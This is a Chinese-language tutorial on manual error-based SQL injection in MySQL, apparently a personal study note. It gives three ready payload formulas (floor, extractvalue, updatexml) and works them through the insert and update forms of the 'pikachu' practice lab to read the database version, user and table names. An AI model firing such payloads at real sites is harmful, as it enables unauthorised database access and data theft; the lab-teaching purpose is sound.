mysql报错手工注入_Mysql报错型手工注入

👇常用报错函数注入公式👇

No.1:floor

' and (select  count(*)  from information_schema.tables group by concat((select version()),floor(rand(0)*2)))#

No.2:extractvalue

' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

No.3:updatexml

' and updatexml(1,concat(0x7e,(select user())),0x7e)#

start

一个常见注册功能点输入特殊字符，导致报错

查看php源码得到数据查询语句

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

代入公式No.1

' or (select count(*)  from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '

传入数据库查询语句：

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '']}',md5('{$getdata['test']}'),'{$getdata['']}','{$getdata['']}','{$getdata['']}','{$getdata['add']}')

方便查看我直接截个代码图

代码图解解释

1.红色框就是测试payload

2.test就是必填的密码

3.后面分别就是性别、手机、地址，因为没填所以为NULL

查询结果：

succed!

尝试查询pikachu数据库里的第一个数据表，payload如下：

' or (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),floor(rand(0)*2))) or '

结果

代入公式No.2

' or extractvalue(1,concat(0x7e,(select user()),0x7e)) or '

结果：sussed!

代入公式No.3

' or updatexml(1,concat(0x7e,(select user())),0x7e) or '

结果：sussed!

02

“update”注入

一个正常的修改个人资料数据包

调试数据包测试注入点，在参数后加入特殊字符报错

查看PHP源代码的核心代码

解释：

1.黄色框是传入数据库查询语句

2.红色箭头指向的四个参数是存入数据库的参数

利用公式No.3注入，因为这个比较简单直白，payload如下：

' and updatexml(1,concat(0x7e,(select user())),0x7e)#

则传入数据库的语句是

update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#']}',phonenum='{$getdata['1']}',address='{$getdata['1']}',email='{$getdata['1']}' where username='{$_SESSION['sqli']['username']}'

因为payload后的#号把后面语句已经注释，所以实际执行语句

update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#

结果：sussed!

01

“insert注入”和“update注入”区别

从“insert注入”和“update注入”的注入语句就可以看出有少许差异，而实质上确实有点区别。“insert注入”的主要功能点在插入表单，所以注入前后都需要用or来连接注入，不能用and连接并且后面语句不能注释，否则传入Mysql数据库的查询语句就会出现语句逻辑出错，无法进行注入。

“update注入”的主要功能点在更新表单，查看PHP源码的传入数据库命令可知，在这种情况下如果存在报错注入，可以直接用and连接注入语句注释后面语句，实际传入数据库的语句并不会出现逻辑错误。

End

！声明：本文章纯属于个人学习笔记，仅提供学习交流，切勿用于违法犯罪。